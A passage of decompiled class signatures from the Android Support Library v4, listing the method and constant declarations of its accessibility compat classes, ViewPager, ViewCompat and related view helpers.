    public Object obtain(android.view.View);
    public Object obtain(android.view.View, int);
    public Object obtain(Object);
    public void addAction(Object, int);
    public void addChild(Object, android.view.View);
    public void addChild(Object, android.view.View, int);
    public java.util.List findAccessibilityNodeInfosByText(Object, String);
    public int getActions(Object);
    public void getBoundsInParent(Object, android.graphics.Rect);
    public void getBoundsInScreen(Object, android.graphics.Rect);
    public Object getChild(Object, int);
    public int getChildCount(Object);
    public CharSequence getClassName(Object);
    public CharSequence getContentDescription(Object);
    public CharSequence getPackageName(Object);
    public Object getParent(Object);
    public CharSequence getText(Object);
    public int getWindowId(Object);
    public boolean isCheckable(Object);
    public boolean isChecked(Object);
    public boolean isClickable(Object);
    public boolean isEnabled(Object);
    public boolean isFocusable(Object);
    public boolean isFocused(Object);
    public boolean isVisibleToUser(Object);
    public boolean isAccessibilityFocused(Object);
    public boolean isLongClickable(Object);
    public boolean isPassword(Object);
    public boolean isScrollable(Object);
    public boolean isSelected(Object);
    public boolean performAction(Object, int);
    public boolean performAction(Object, int, android.os.Bundle);
    public void setMovementGranularities(Object, int);
    public int getMovementGranularities(Object);
    public void setBoundsInParent(Object, android.graphics.Rect);
    public void setBoundsInScreen(Object, android.graphics.Rect);
    public void setCheckable(Object, boolean);
    public void setChecked(Object, boolean);
    public void setClassName(Object, CharSequence);
    public void setClickable(Object, boolean);
    public void setContentDescription(Object, CharSequence);
    public void setEnabled(Object, boolean);
    public void setFocusable(Object, boolean);
    public void setFocused(Object, boolean);
    public void setVisibleToUser(Object, boolean);
    public void setAccessibilityFocused(Object, boolean);
    public void setLongClickable(Object, boolean);
    public void setPackageName(Object, CharSequence);
    public void setParent(Object, android.view.View);
    public void setPassword(Object, boolean);
    public void setScrollable(Object, boolean);
    public void setSelected(Object, boolean);
    public void setSource(Object, android.view.View);
    public void setSource(Object, android.view.View, int);
    public Object findFocus(Object, int);
    public Object focusSearch(Object, int);
    public void setText(Object, CharSequence);
    public void recycle(Object);
    public void setParent(Object, android.view.View, int);
    public String getViewIdResourceName(Object);
    public void setViewIdResourceName(Object, String);
    public int getLiveRegion(Object);
    public void setLiveRegion(Object, int);
    public Object getCollectionInfo(Object);
    public void setCollectionInfo(Object, Object);
    public Object getCollectionItemInfo(Object);
    public void setCollectionItemInfo(Object, Object);
    public Object getRangeInfo(Object);
    public java.util.List getActionList(Object);
    public void addAction(Object, int, CharSequence);
    public Object obtainCollectionInfo(int, int, boolean, int);
    public int getCollectionInfoColumnCount(Object);
    public int getCollectionInfoRowCount(Object);
    public boolean isCollectionInfoHierarchical(Object);
    public Object obtainCollectionItemInfo(int, int, int, int, boolean, boolean);
    public int getCollectionItemColumnIndex(Object);
    public int getCollectionItemColumnSpan(Object);
    public int getCollectionItemRowIndex(Object);
    public int getCollectionItemRowSpan(Object);
    public boolean isCollectionItemHeading(Object);
    public boolean isCollectionItemSelected(Object);
}










android/support/v4/view/accessibility/AccessibilityRecordCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityRecordCompat {
    private static final AccessibilityRecordCompat$AccessibilityRecordImpl IMPL;
    private final Object mRecord;
    public void AccessibilityRecordCompat(Object);
    public Object getImpl();
    public static AccessibilityRecordCompat obtain(AccessibilityRecordCompat);
    public static AccessibilityRecordCompat obtain();
    public void setSource(android.view.View);
    public void setSource(android.view.View, int);
    public AccessibilityNodeInfoCompat getSource();
    public int getWindowId();
    public boolean isChecked();
    public void setChecked(boolean);
    public boolean isEnabled();
    public void setEnabled(boolean);
    public boolean isPassword();
    public void setPassword(boolean);
    public boolean isFullScreen();
    public void setFullScreen(boolean);
    public boolean isScrollable();
    public void setScrollable(boolean);
    public int getItemCount();
    public void setItemCount(int);
    public int getCurrentItemIndex();
    public void setCurrentItemIndex(int);
    public int getFromIndex();
    public void setFromIndex(int);
    public int getToIndex();
    public void setToIndex(int);
    public int getScrollX();
    public void setScrollX(int);
    public int getScrollY();
    public void setScrollY(int);
    public int getMaxScrollX();
    public void setMaxScrollX(int);
    public int getMaxScrollY();
    public void setMaxScrollY(int);
    public int getAddedCount();
    public void setAddedCount(int);
    public int getRemovedCount();
    public void setRemovedCount(int);
    public CharSequence getClassName();
    public void setClassName(CharSequence);
    public java.util.List getText();
    public CharSequence getBeforeText();
    public void setBeforeText(CharSequence);
    public CharSequence getContentDescription();
    public void setContentDescription(CharSequence);
    public android.os.Parcelable getParcelableData();
    public void setParcelableData(android.os.Parcelable);
    public void recycle();
    public int hashCode();
    public boolean equals(Object);
    static void <clinit>();
}










android/support/v4/view/accessibility/AccessibilityEventCompat$AccessibilityEventStubImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityEventCompat$AccessibilityEventStubImpl implements AccessibilityEventCompat$AccessibilityEventVersionImpl {
    void AccessibilityEventCompat$AccessibilityEventStubImpl();
    public void appendRecord(android.view.accessibility.AccessibilityEvent, Object);
    public Object getRecord(android.view.accessibility.AccessibilityEvent, int);
    public int getRecordCount(android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityNodeInfoCompat {
    private static final AccessibilityNodeInfoCompat$AccessibilityNodeInfoImpl IMPL;
    private final Object mInfo;
    public static final int ACTION_FOCUS = 1;
    public static final int ACTION_CLEAR_FOCUS = 2;
    public static final int ACTION_SELECT = 4;
    public static final int ACTION_CLEAR_SELECTION = 8;
    public static final int ACTION_CLICK = 16;
    public static final int ACTION_LONG_CLICK = 32;
    public static final int ACTION_ACCESSIBILITY_FOCUS = 64;
    public static final int ACTION_CLEAR_ACCESSIBILITY_FOCUS = 128;
    public static final int ACTION_NEXT_AT_MOVEMENT_GRANULARITY = 256;
    public static final int ACTION_PREVIOUS_AT_MOVEMENT_GRANULARITY = 512;
    public static final int ACTION_NEXT_HTML_ELEMENT = 1024;
    public static final int ACTION_PREVIOUS_HTML_ELEMENT = 2048;
    public static final int ACTION_SCROLL_FORWARD = 4096;
    public static final int ACTION_SCROLL_BACKWARD = 8192;
    public static final int ACTION_COPY = 16384;
    public static final int ACTION_PASTE = 32768;
    public static final int ACTION_CUT = 65536;
    public static final int ACTION_SET_SELECTION = 131072;
    public static final int ACTION_SET_TEXT = 2097152;
    public static final String ACTION_ARGUMENT_MOVEMENT_GRANULARITY_INT = ACTION_ARGUMENT_MOVEMENT_GRANULARITY_INT;
    public static final String ACTION_ARGUMENT_HTML_ELEMENT_STRING = ACTION_ARGUMENT_HTML_ELEMENT_STRING;
    public static final String ACTION_ARGUMENT_EXTEND_SELECTION_BOOLEAN = ACTION_ARGUMENT_EXTEND_SELECTION_BOOLEAN;
    public static final String ACTION_ARGUMENT_SELECTION_START_INT = ACTION_ARGUMENT_SELECTION_START_INT;
    public static final String ACTION_ARGUMENT_SELECTION_END_INT = ACTION_ARGUMENT_SELECTION_END_INT;
    public static final String ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE = ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE;
    public static final int FOCUS_INPUT = 1;
    public static final int FOCUS_ACCESSIBILITY = 2;
    public static final int MOVEMENT_GRANULARITY_CHARACTER = 1;
    public static final int MOVEMENT_GRANULARITY_WORD = 2;
    public static final int MOVEMENT_GRANULARITY_LINE = 4;
    public static final int MOVEMENT_GRANULARITY_PARAGRAPH = 8;
    public static final int MOVEMENT_GRANULARITY_PAGE = 16;
    static AccessibilityNodeInfoCompat wrapNonNullInstance(Object);
    public void AccessibilityNodeInfoCompat(Object);
    public Object getInfo();
    public static AccessibilityNodeInfoCompat obtain(android.view.View);
    public static AccessibilityNodeInfoCompat obtain(android.view.View, int);
    public static AccessibilityNodeInfoCompat obtain();
    public static AccessibilityNodeInfoCompat obtain(AccessibilityNodeInfoCompat);
    public void setSource(android.view.View);
    public void setSource(android.view.View, int);
    public AccessibilityNodeInfoCompat findFocus(int);
    public AccessibilityNodeInfoCompat focusSearch(int);
    public int getWindowId();
    public int getChildCount();
    public AccessibilityNodeInfoCompat getChild(int);
    public void addChild(android.view.View);
    public void addChild(android.view.View, int);
    public int getActions();
    public void addAction(int);
    public boolean performAction(int);
    public boolean performAction(int, android.os.Bundle);
    public void setMovementGranularities(int);
    public int getMovementGranularities();
    public java.util.List findAccessibilityNodeInfosByText(String);
    public AccessibilityNodeInfoCompat getParent();
    public void setParent(android.view.View);
    public void setParent(android.view.View, int);
    public void getBoundsInParent(android.graphics.Rect);
    public void setBoundsInParent(android.graphics.Rect);
    public void getBoundsInScreen(android.graphics.Rect);
    public void setBoundsInScreen(android.graphics.Rect);
    public boolean isCheckable();
    public void setCheckable(boolean);
    public boolean isChecked();
    public void setChecked(boolean);
    public boolean isFocusable();
    public void setFocusable(boolean);
    public boolean isFocused();
    public void setFocused(boolean);
    public boolean isVisibleToUser();
    public void setVisibleToUser(boolean);
    public boolean isAccessibilityFocused();
    public void setAccessibilityFocused(boolean);
    public boolean isSelected();
    public void setSelected(boolean);
    public boolean isClickable();
    public void setClickable(boolean);
    public boolean isLongClickable();
    public void setLongClickable(boolean);
    public boolean isEnabled();
    public void setEnabled(boolean);
    public boolean isPassword();
    public void setPassword(boolean);
    public boolean isScrollable();
    public void setScrollable(boolean);
    public CharSequence getPackageName();
    public void setPackageName(CharSequence);
    public CharSequence getClassName();
    public void setClassName(CharSequence);
    public CharSequence getText();
    public void setText(CharSequence);
    public CharSequence getContentDescription();
    public void setContentDescription(CharSequence);
    public void recycle();
    public void setViewIdResourceName(String);
    public String getViewIdResourceName();
    public int getLiveRegion();
    public void setLiveRegion(int);
    public AccessibilityNodeInfoCompat$CollectionInfoCompat getCollectionInfo();
    public void setCollectionInfo(Object);
    public void setCollectionItemInfo(Object);
    public AccessibilityNodeInfoCompat$CollectionItemInfoCompat getCollectionItemInfo();
    public AccessibilityNodeInfoCompat$RangeInfoCompat getRangeInfo();
    public java.util.List getActionList();
    public int hashCode();
    public boolean equals(Object);
    public String toString();
    private static String getActionSymbolicName(int);
    static void <clinit>();
}










android/support/v4/view/accessibility/AccessibilityRecordCompat$AccessibilityRecordJellyBeanImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompat$AccessibilityRecordJellyBeanImpl extends AccessibilityRecordCompat$AccessibilityRecordIcsMr1Impl {
    void AccessibilityRecordCompat$AccessibilityRecordJellyBeanImpl();
    public void setSource(Object, android.view.View, int);
}










android/support/v4/view/accessibility/AccessibilityRecordCompatIcsMr1.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompatIcsMr1 {
    void AccessibilityRecordCompatIcsMr1();
    public static int getMaxScrollX(Object);
    public static int getMaxScrollY(Object);
    public static void setMaxScrollX(Object, int);
    public static void setMaxScrollY(Object, int);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$1.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompat$1 {
}










android/support/v4/view/accessibility/AccessibilityEventCompat$AccessibilityEventVersionImpl.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityEventCompat$AccessibilityEventVersionImpl {
    public abstract int getRecordCount(android.view.accessibility.AccessibilityEvent);
    public abstract void appendRecord(android.view.accessibility.AccessibilityEvent, Object);
    public abstract Object getRecord(android.view.accessibility.AccessibilityEvent, int);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$AccessibilityActionCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityNodeInfoCompat$AccessibilityActionCompat {
    private final Object mAction;
    private void AccessibilityNodeInfoCompat$AccessibilityActionCompat(Object);
    public int getId();
    public CharSequence getLabel();
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompatKitKat$AccessibilityNodeInfoBridge.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityNodeProviderCompatKitKat$AccessibilityNodeInfoBridge {
    public abstract Object createAccessibilityNodeInfo(int);
    public abstract boolean performAction(int, int, android.os.Bundle);
    public abstract java.util.List findAccessibilityNodeInfosByText(String, int);
    public abstract Object findFocus(int);
}










android/support/v4/view/accessibility/AccessibilityManagerCompatIcs$1.class


package android.support.v4.view.accessibility;
final synchronized class AccessibilityManagerCompatIcs$1 implements android.view.accessibility.AccessibilityManager$AccessibilityStateChangeListener {
    void AccessibilityManagerCompatIcs$1(AccessibilityManagerCompatIcs$AccessibilityStateChangeListenerBridge);
    public void onAccessibilityStateChanged(boolean);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityNodeProviderCompat {
    private static final AccessibilityNodeProviderCompat$AccessibilityNodeProviderImpl IMPL;
    private final Object mProvider;
    public void AccessibilityNodeProviderCompat();
    public void AccessibilityNodeProviderCompat(Object);
    public Object getProvider();
    public AccessibilityNodeInfoCompat createAccessibilityNodeInfo(int);
    public boolean performAction(int, int, android.os.Bundle);
    public java.util.List findAccessibilityNodeInfosByText(String, int);
    public AccessibilityNodeInfoCompat findFocus(int);
    static void <clinit>();
}










android/support/v4/view/accessibility/AccessibilityManagerCompat$AccessibilityManagerVersionImpl.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityManagerCompat$AccessibilityManagerVersionImpl {
    public abstract Object newAccessiblityStateChangeListener(AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public abstract boolean addAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public abstract boolean removeAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public abstract java.util.List getEnabledAccessibilityServiceList(android.view.accessibility.AccessibilityManager, int);
    public abstract java.util.List getInstalledAccessibilityServiceList(android.view.accessibility.AccessibilityManager);
    public abstract boolean isTouchExplorationEnabled(android.view.accessibility.AccessibilityManager);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompatKitKat$RangeInfo.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompatKitKat$RangeInfo {
    void AccessibilityNodeInfoCompatKitKat$RangeInfo();
    static float getCurrent(Object);
    static float getMax(Object);
    static float getMin(Object);
    static int getType(Object);
}










android/support/v4/view/GravityCompatJellybeanMr1.class


package android.support.v4.view;
synchronized class GravityCompatJellybeanMr1 {
    void GravityCompatJellybeanMr1();
    public static int getAbsoluteGravity(int, int);
    public static void apply(int, int, int, android.graphics.Rect, android.graphics.Rect, int);
    public static void apply(int, int, int, android.graphics.Rect, int, int, android.graphics.Rect, int);
    public static void applyDisplay(int, android.graphics.Rect, android.graphics.Rect, int);
}










android/support/v4/view/ViewCompatICS.class


package android.support.v4.view;
synchronized class ViewCompatICS {
    void ViewCompatICS();
    public static boolean canScrollHorizontally(android.view.View, int);
    public static boolean canScrollVertically(android.view.View, int);
    public static void setAccessibilityDelegate(android.view.View, Object);
    public static void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityNodeInfo(android.view.View, Object);
}










android/support/v4/view/AccessibilityDelegateCompatJellyBean$AccessibilityDelegateBridgeJellyBean.class


package android.support.v4.view;
public abstract interface AccessibilityDelegateCompatJellyBean$AccessibilityDelegateBridgeJellyBean {
    public abstract boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityNodeInfo(android.view.View, Object);
    public abstract void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void sendAccessibilityEvent(android.view.View, int);
    public abstract void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract Object getAccessibilityNodeProvider(android.view.View);
    public abstract boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
}










android/support/v4/view/ViewPropertyAnimatorCompatKK$1.class


package android.support.v4.view;
final synchronized class ViewPropertyAnimatorCompatKK$1 implements android.animation.ValueAnimator$AnimatorUpdateListener {
    void ViewPropertyAnimatorCompatKK$1(ViewPropertyAnimatorUpdateListener, android.view.View);
    public void onAnimationUpdate(android.animation.ValueAnimator);
}










android/support/v4/view/VelocityTrackerCompat$VelocityTrackerVersionImpl.class


package android.support.v4.view;
abstract interface VelocityTrackerCompat$VelocityTrackerVersionImpl {
    public abstract float getXVelocity(android.view.VelocityTracker, int);
    public abstract float getYVelocity(android.view.VelocityTracker, int);
}










android/support/v4/view/ViewParentCompat$ViewParentCompatStubImpl.class


package android.support.v4.view;
synchronized class ViewParentCompat$ViewParentCompatStubImpl implements ViewParentCompat$ViewParentCompatImpl {
    void ViewParentCompat$ViewParentCompatStubImpl();
    public boolean requestSendAccessibilityEvent(android.view.ViewParent, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/ViewPropertyAnimatorCompat$JBViewPropertyAnimatorCompatImpl.class


package android.support.v4.view;
synchronized class ViewPropertyAnimatorCompat$JBViewPropertyAnimatorCompatImpl extends ViewPropertyAnimatorCompat$ICSViewPropertyAnimatorCompatImpl {
    void ViewPropertyAnimatorCompat$JBViewPropertyAnimatorCompatImpl();
    public void setListener(ViewPropertyAnimatorCompat, android.view.View, ViewPropertyAnimatorListener);
    public void withStartAction(ViewPropertyAnimatorCompat, android.view.View, Runnable);
    public void withEndAction(ViewPropertyAnimatorCompat, android.view.View, Runnable);
    public void withLayer(ViewPropertyAnimatorCompat, android.view.View);
}










android/support/v4/view/MenuItemCompat$IcsMenuVersionImpl.class


package android.support.v4.view;
synchronized class MenuItemCompat$IcsMenuVersionImpl extends MenuItemCompat$HoneycombMenuVersionImpl {
    void MenuItemCompat$IcsMenuVersionImpl();
    public boolean expandActionView(android.view.MenuItem);
    public boolean collapseActionView(android.view.MenuItem);
    public boolean isActionViewExpanded(android.view.MenuItem);
    public android.view.MenuItem setOnActionExpandListener(android.view.MenuItem, MenuItemCompat$OnActionExpandListener);
}










android/support/v4/view/ViewPager$SavedState$1.class


package android.support.v4.view;
final synchronized class ViewPager$SavedState$1 implements android.support.v4.os.ParcelableCompatCreatorCallbacks {
    void ViewPager$SavedState$1();
    public ViewPager$SavedState createFromParcel(android.os.Parcel, ClassLoader);
    public ViewPager$SavedState[] newArray(int);
}










android/support/v4/view/ActionProvider$SubUiVisibilityListener.class


package android.support.v4.view;
public abstract interface ActionProvider$SubUiVisibilityListener {
    public abstract void onSubUiVisibilityChanged(boolean);
}










android/support/v4/view/MenuItemCompat$BaseMenuVersionImpl.class


package android.support.v4.view;
synchronized class MenuItemCompat$BaseMenuVersionImpl implements MenuItemCompat$MenuVersionImpl {
    void MenuItemCompat$BaseMenuVersionImpl();
    public void setShowAsAction(android.view.MenuItem, int);
    public android.view.MenuItem setActionView(android.view.MenuItem, android.view.View);
    public android.view.MenuItem setActionView(android.view.MenuItem, int);
    public android.view.View getActionView(android.view.MenuItem);
    public boolean expandActionView(android.view.MenuItem);
    public boolean collapseActionView(android.view.MenuItem);
    public boolean isActionViewExpanded(android.view.MenuItem);
    public android.view.MenuItem setOnActionExpandListener(android.view.MenuItem, MenuItemCompat$OnActionExpandListener);
}










android/support/v4/view/ViewGroupCompat.class


package android.support.v4.view;
public synchronized class ViewGroupCompat {
    public static final int LAYOUT_MODE_CLIP_BOUNDS = 0;
    public static final int LAYOUT_MODE_OPTICAL_BOUNDS = 1;
    static final ViewGroupCompat$ViewGroupCompatImpl IMPL;
    private void ViewGroupCompat();
    public static boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void setMotionEventSplittingEnabled(android.view.ViewGroup, boolean);
    public static int getLayoutMode(android.view.ViewGroup);
    public static void setLayoutMode(android.view.ViewGroup, int);
    public static void setTransitionGroup(android.view.ViewGroup, boolean);
    public static boolean isTransitionGroup(android.view.ViewGroup);
    static void <clinit>();
}










android/support/v4/view/MarginLayoutParamsCompat$MarginLayoutParamsCompatImpl.class


package android.support.v4.view;
abstract interface MarginLayoutParamsCompat$MarginLayoutParamsCompatImpl {
    public abstract int getMarginStart(android.view.ViewGroup$MarginLayoutParams);
    public abstract int getMarginEnd(android.view.ViewGroup$MarginLayoutParams);
    public abstract void setMarginStart(android.view.ViewGroup$MarginLayoutParams, int);
    public abstract void setMarginEnd(android.view.ViewGroup$MarginLayoutParams, int);
    public abstract boolean isMarginRelative(android.view.ViewGroup$MarginLayoutParams);
    public abstract int getLayoutDirection(android.view.ViewGroup$MarginLayoutParams);
    public abstract void setLayoutDirection(android.view.ViewGroup$MarginLayoutParams, int);
    public abstract void resolveLayoutDirection(android.view.ViewGroup$MarginLayoutParams, int);
}










android/support/v4/view/ViewCompatJB.class


package android.support.v4.view;
synchronized class ViewCompatJB {
    void ViewCompatJB();
    public static boolean hasTransientState(android.view.View);
    public static void setHasTransientState(android.view.View, boolean);
    public static void postInvalidateOnAnimation(android.view.View);
    public static void postInvalidateOnAnimation(android.view.View, int, int, int, int);
    public static void postOnAnimation(android.view.View, Runnable);
    public static void postOnAnimationDelayed(android.view.View, Runnable, long);
    public static int getImportantForAccessibility(android.view.View);
    public static void setImportantForAccessibility(android.view.View, int);
    public static boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    public static Object getAccessibilityNodeProvider(android.view.View);
    public static android.view.ViewParent getParentForAccessibility(android.view.View);
    public static int getMinimumWidth(android.view.View);
    public static int getMinimumHeight(android.view.View);
    public static void requestApplyInsets(android.view.View);
    public static boolean getFitsSystemWindows(android.view.View);
}










android/support/v4/view/ViewGroupCompatIcs.class


package android.support.v4.view;
synchronized class ViewGroupCompatIcs {
    void ViewGroupCompatIcs();
    public static boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/ViewPager$1.class


package android.support.v4.view;
final synchronized class ViewPager$1 implements java.util.Comparator {
    void ViewPager$1();
    public int compare(ViewPager$ItemInfo, ViewPager$ItemInfo);
}










android/support/v4/view/MenuItemCompatIcs$OnActionExpandListenerWrapper.class


package android.support.v4.view;
synchronized class MenuItemCompatIcs$OnActionExpandListenerWrapper implements android.view.MenuItem$OnActionExpandListener {
    private MenuItemCompatIcs$SupportActionExpandProxy mWrapped;
    public void MenuItemCompatIcs$OnActionExpandListenerWrapper(MenuItemCompatIcs$SupportActionExpandProxy);
    public boolean onMenuItemActionExpand(android.view.MenuItem);
    public boolean onMenuItemActionCollapse(android.view.MenuItem);
}










android/support/v4/view/PagerTitleStripIcs$SingleLineAllCapsTransform.class


package android.support.v4.view;
synchronized class PagerTitleStripIcs$SingleLineAllCapsTransform extends android.text.method.SingleLineTransformationMethod {
    private static final String TAG = SingleLineAllCapsTransform;
    private java.util.Locale mLocale;
    public void PagerTitleStripIcs$SingleLineAllCapsTransform(android.content.Context);
    public CharSequence getTransformation(CharSequence, android.view.View);
}










android/support/v4/view/MenuItemCompatIcs$SupportActionExpandProxy.class


package android.support.v4.view;
abstract interface MenuItemCompatIcs$SupportActionExpandProxy {
    public abstract boolean onMenuItemActionExpand(android.view.MenuItem);
    public abstract boolean onMenuItemActionCollapse(android.view.MenuItem);
}










android/support/v4/view/ViewCompat$GBViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$GBViewCompatImpl extends ViewCompat$EclairMr1ViewCompatImpl {
    void ViewCompat$GBViewCompatImpl();
    public int getOverScrollMode(android.view.View);
    public void setOverScrollMode(android.view.View, int);
}










android/support/v4/view/PagerTabStrip$1.class


package android.support.v4.view;
synchronized class PagerTabStrip$1 implements android.view.View$OnClickListener {
    void PagerTabStrip$1(PagerTabStrip);
    public void onClick(android.view.View);
}










android/support/v4/view/ViewGroupCompat$ViewGroupCompatStubImpl.class


package android.support.v4.view;
synchronized class ViewGroupCompat$ViewGroupCompatStubImpl implements ViewGroupCompat$ViewGroupCompatImpl {
    void ViewGroupCompat$ViewGroupCompatStubImpl();
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void setMotionEventSplittingEnabled(android.view.ViewGroup, boolean);
    public int getLayoutMode(android.view.ViewGroup);
    public void setLayoutMode(android.view.ViewGroup, int);
    public void setTransitionGroup(android.view.ViewGroup, boolean);
    public boolean isTransitionGroup(android.view.ViewGroup);
}










android/support/v4/view/ViewConfigurationCompat$FroyoViewConfigurationVersionImpl.class


package android.support.v4.view;
synchronized class ViewConfigurationCompat$FroyoViewConfigurationVersionImpl extends ViewConfigurationCompat$BaseViewConfigurationVersionImpl {
    void ViewConfigurationCompat$FroyoViewConfigurationVersionImpl();
    public int getScaledPagingTouchSlop(android.view.ViewConfiguration);
}










android/support/v4/view/ViewGroupCompatJellybeanMR2.class


package android.support.v4.view;
synchronized class ViewGroupCompatJellybeanMR2 {
    void ViewGroupCompatJellybeanMR2();
    public static int getLayoutMode(android.view.ViewGroup);
    public static void setLayoutMode(android.view.ViewGroup, int);
}










android/support/v4/view/GestureDetectorCompat$GestureDetectorCompatImplJellybeanMr2.class


package android.support.v4.view;
synchronized class GestureDetectorCompat$GestureDetectorCompatImplJellybeanMr2 implements GestureDetectorCompat$GestureDetectorCompatImpl {
    private final android.view.GestureDetector mDetector;
    public void GestureDetectorCompat$GestureDetectorCompatImplJellybeanMr2(android.content.Context, android.view.GestureDetector$OnGestureListener, android.os.Handler);
    public boolean isLongpressEnabled();
    public boolean onTouchEvent(android.view.MotionEvent);
    public void setIsLongpressEnabled(boolean);
    public void setOnDoubleTapListener(android.view.GestureDetector$OnDoubleTapListener);
}










android/support/v4/view/ViewCompatGingerbread.class


package android.support.v4.view;
synchronized class ViewCompatGingerbread {
    void ViewCompatGingerbread();
    public static int getOverScrollMode(android.view.View);
    public static void setOverScrollMode(android.view.View, int);
}










android/support/v4/view/ViewCompatJellybeanMr1.class


package android.support.v4.view;
synchronized class ViewCompatJellybeanMr1 {
    void ViewCompatJellybeanMr1();
    public static int getLabelFor(android.view.View);
    public static void setLabelFor(android.view.View, int);
    public static void setLayerPaint(android.view.View, android.graphics.Paint);
    public static int getLayoutDirection(android.view.View);
    public static void setLayoutDirection(android.view.View, int);
    public static int getPaddingStart(android.view.View);
    public static int getPaddingEnd(android.view.View);
    public static void setPaddingRelative(android.view.View, int, int, int, int);
    public static int getWindowSystemUiVisibility(android.view.View);
}










android/support/v4/view/ViewPropertyAnimatorCompat$JBMr2ViewPropertyAnimatorCompatImpl.class


package android.support.v4.view;
synchronized class ViewPropertyAnimatorCompat$JBMr2ViewPropertyAnimatorCompatImpl extends ViewPropertyAnimatorCompat$JBViewPropertyAnimatorCompatImpl {
    void ViewPropertyAnimatorCompat$JBMr2ViewPropertyAnimatorCompatImpl();
    public android.view.animation.Interpolator getInterpolator(ViewPropertyAnimatorCompat, android.view.View);
}










android/support/v4/view/ViewPager$3.class


package android.support.v4.view;
synchronized class ViewPager$3 implements Runnable {
    void ViewPager$3(ViewPager);
    public void run();
}










android/support/v4/view/ViewConfigurationCompat$IcsViewConfigurationVersionImpl.class


package android.support.v4.view;
synchronized class ViewConfigurationCompat$IcsViewConfigurationVersionImpl extends ViewConfigurationCompat$HoneycombViewConfigurationVersionImpl {
    void ViewConfigurationCompat$IcsViewConfigurationVersionImpl();
    public boolean hasPermanentMenuKey(android.view.ViewConfiguration);
}










android/support/v4/view/KeyEventCompatHoneycomb.class


package android.support.v4.view;
synchronized class KeyEventCompatHoneycomb {
    void KeyEventCompatHoneycomb();
    public static int normalizeMetaState(int);
    public static boolean metaStateHasModifiers(int, int);
    public static boolean metaStateHasNoModifiers(int);
}










android/support/v4/view/ViewPager$SavedState.class


package android.support.v4.view;
public synchronized class ViewPager$SavedState extends android.view.View$BaseSavedState {
    int position;
    android.os.Parcelable adapterState;
    ClassLoader loader;
    public static final android.os.Parcelable$Creator CREATOR;
    public void ViewPager$SavedState(android.os.Parcelable);
    public void writeToParcel(android.os.Parcel, int);
    public String toString();
    void ViewPager$SavedState(android.os.Parcel, ClassLoader);
    static void <clinit>();
}










android/support/v4/view/ViewPager$ViewPositionComparator.class


package android.support.v4.view;
synchronized class ViewPager$ViewPositionComparator implements java.util.Comparator {
    void ViewPager$ViewPositionComparator();
    public int compare(android.view.View, android.view.View);
}










android/support/v4/view/KeyEventCompat$BaseKeyEventVersionImpl.class


package android.support.v4.view;
synchronized class KeyEventCompat$BaseKeyEventVersionImpl implements KeyEventCompat$KeyEventVersionImpl {
    private static final int META_MODIFIER_MASK = 247;
    private static final int META_ALL_MASK = 247;
    void KeyEventCompat$BaseKeyEventVersionImpl();
    private static int metaStateFilterDirectionalModifiers(int, int, int, int, int);
    public int normalizeMetaState(int);
    public boolean metaStateHasModifiers(int, int);
    public boolean metaStateHasNoModifiers(int);
    public void startTracking(android.view.KeyEvent);
    public boolean isTracking(android.view.KeyEvent);
    public Object getKeyDispatcherState(android.view.View);
    public boolean dispatch(android.view.KeyEvent, android.view.KeyEvent$Callback, Object, Object);
}










android/support/v4/view/ViewCompatKitKat.class


package android.support.v4.view;
public synchronized class ViewCompatKitKat {
    public void ViewCompatKitKat();
    public static int getAccessibilityLiveRegion(android.view.View);
    public static void setAccessibilityLiveRegion(android.view.View, int);
}










android/support/v4/view/PagerTitleStrip$PagerTitleStripImplIcs.class


package android.support.v4.view;
synchronized class PagerTitleStrip$PagerTitleStripImplIcs implements PagerTitleStrip$PagerTitleStripImpl {
    void PagerTitleStrip$PagerTitleStripImplIcs();
    public void setSingleLineAllCaps(android.widget.TextView);
}










